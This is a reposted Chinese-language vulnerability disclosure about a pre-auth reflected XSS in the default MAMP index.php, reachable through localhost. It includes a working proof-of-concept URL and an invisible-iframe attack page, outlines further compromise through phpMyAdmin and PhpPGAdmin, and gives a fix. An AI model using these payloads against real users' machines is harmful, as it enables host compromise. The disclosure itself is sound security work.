前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MAMP 服务器 preauth XSS 导致主机妥协 (0day)

MAMP 服务器 preauth XSS 导致主机妥协 (0day)

作者头像
Khan安全团队
发布2022-01-26 17:20:04
6660
发布2022-01-26 17:20:04
举报
文章被收录于专栏:Khan安全团队Khan安全团队

根据他们的 wiki,MAMP 是一个解决方案堆栈,由免费、开源和专有的商业软件组成,共同用于在 Apple Macintosh 计算机上开发和运行动态网站。这是我所知的 Macbook 上最流行的 php 调试和开发堆栈。除非打开其“云”设置,否则无法从 Internet 访问它,这绝不应该发生。您基本上应该将 MAMP 视为 OS X 设备的 XAMPP/WAMP 服务器。它是一个本地开发软件栈,通常由 Apache/Ngnix/MySQL/FTP 应用程序组成。

大多数人在他们的个人计算机和其他设备上运行本地 Web 服务器时的假设是,由于它在“localhost”域上运行,因此无法从 Internet 访问它们。这种假设可能会导致整个主机受到损害,因为它并不完全正确。由于浏览器的工作方式,攻击者可以通过多种方式访问​​您的本地主机(这将很快在 Chrome 中发生变化)。

漏洞: 在默认安装的 MAMP 服务器上,文件/Applications/MAMP/htdocs/index.php承载以下文件:

代码语言:javascript
复制
 $switch_language = (string) '';
  foreach ($available_languages as $available_language) {
    if ($available_language['token'] !== $language) {
        $switch_language .= '<a href="'.strip_tags($_SERVER['PHP_SELF']).'?language='.$available_language['token'].'" lang="'.$available_language['token'].'" hreflang="'.$available_language['token'].'">'.$available_language['name'].'</a> | ';
    print $switch_language;
}
  }
... 

正如您所看到的,用户控制的输入 ($_SERVER['PHP_SELF']) 被用在一个没有足够的清理 (strip_tags) 的 <a href> 标记中。虽然 strip_tags 将摆脱 <> 之类的标签,但仍然可以添加引号并转义“href”属性以添加或操作 <a href> 标签。例如,我们可以使用 onmouseover 属性结合一些字体 CSS 技巧来用我们的 XSS 负载填充页面,因此负载在页面加载时执行。

概念验证

http://localhost:8888/index.php/lol%22onmouseover=%22alert(document.domain+' says '+' hi ');%22%20style=%22font-size:100000px;background-color:white%22 ;

当我们的受害者访问上述链接时会弹出警报:

因此,只要他们运行 MAMP,将我们的受害者发送到上述 localhost url 就会触发有效负载。有效载荷基本上会欺骗任何有权访问设备的人(他们不必经过身份验证)在“localhost”范围内触发我们的 XSS,因此只需单击一下,我们就可以访问他们的“localhost”,尽管没有 localhost攻击者可以从互联网访问。

这对于有创造力的黑客来说意味着很多美妙的事情,因为 MAMP 充满了只能从“localhost”访问的功能,只需很少的工作就意味着完全的服务器妥协。MAMP 附带了许多攻击者可以使用的功能,例如:通过 phpMyAdmin 进行完整的数据库操作(不需要来自 localhost 的身份验证,但需要我们的 XSS 漏洞利用可以轻松为我们获取的 antiCSRF 令牌),从 phpinfo 窃取受害者的系统和配置信息在“localhost”上找到的.php 文件,能够更改 select_priv、insert_priv、drop_priv、shutdown_priv、file_priv 和其他敏感表,这些表可以授予攻击者进一步读取、写入和修改访问权限,通过管理员(也附带 MAMP),以及通过在 PhpPGAdmin 门户中发现的无穷无尽的服务器端漏洞执行代码和命令(也可以从 localhost 访问)——大量 unserialize() 和 open() 调用在最新 MAMP 附带的旧版 PhpPGAdmin 中使用未经处理的用户输入。这些可能性与攻击者想要获得的一样具有创造性。

制作实用页面

MAMP 默认托管在端口 8888 上,但即使不是,从攻击者网站进行简单的端口扫描应该可以让我们快速找到它。将受害者发送到本地主机 URL 可能不是最不吵闹的事情,但我们可以利用这个漏洞,而受害者不知道远程网站正在访问他们的本地主机。这可以通过使用类似的方法来完成: 1. 将 localhost 域及其文本负载嵌入到一个不可见的 iframe 中 2. 将受害者发送给看似无辜的攻击者页面 3. 我们的 XSS 负载执行,我们可以利用我们的其他漏洞不会在本帖中透露。 4. w00t!

代码语言:javascript
复制
<iframe style="position:absolute;height:100%;width:100%;opacity:20%;z-index:1" src="http://localhost:8888/index.php/lol%22onmouseover=%22alert(document.domain+' says '+' hi ');further_exploit();%22%20style=%22font-size:100000px;background-color:white%22;"></iframe>

<center><h1 style="z-index: 99;font-color:black;color:black; position:abolsute; left: 200px; top: 0px; font-size:92px"><br>
Welcome to our evil site</h1><br><img src="https://thumbs.dreamstime.com/b/severe-predatory-evil-cat-eyes-77679888.jpg"></center>

那么为什么是0day呢? 我们于 2021 年 9 月向 MAMP 报告了该漏洞,但他们告诉我们无法从 Internet 访问“localhost”,因此不值得修复该漏洞。尽管我们一再尝试,但我们无法说服他们可以访问它,因此继续发布该漏洞的详细信息。

我们不支持发布未修补的零日漏洞详细信息,因此我们省略了可能授予攻击者读取文件、执行代码和 sql 查询的能力的更多详细信息,因为这些会影响与 MAMP 一起提供的不同应用程序。我们希望这篇文章能说服 MAMP 的开发人员重新考虑他们的决定。 如果您是在个人计算机上经常使用 MAMP 的人,我们无法强调在连接互联网的设备上运行 MAMP 有多危险,我们建议您删除位于 htdocs 文件夹中的 /index.php 文件,或者,如果不可能,用 htmlentities(strip_tags($_SERVER['PHP_SELF'])) 修改 index.php 的第 30 行,你应该是安全的。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档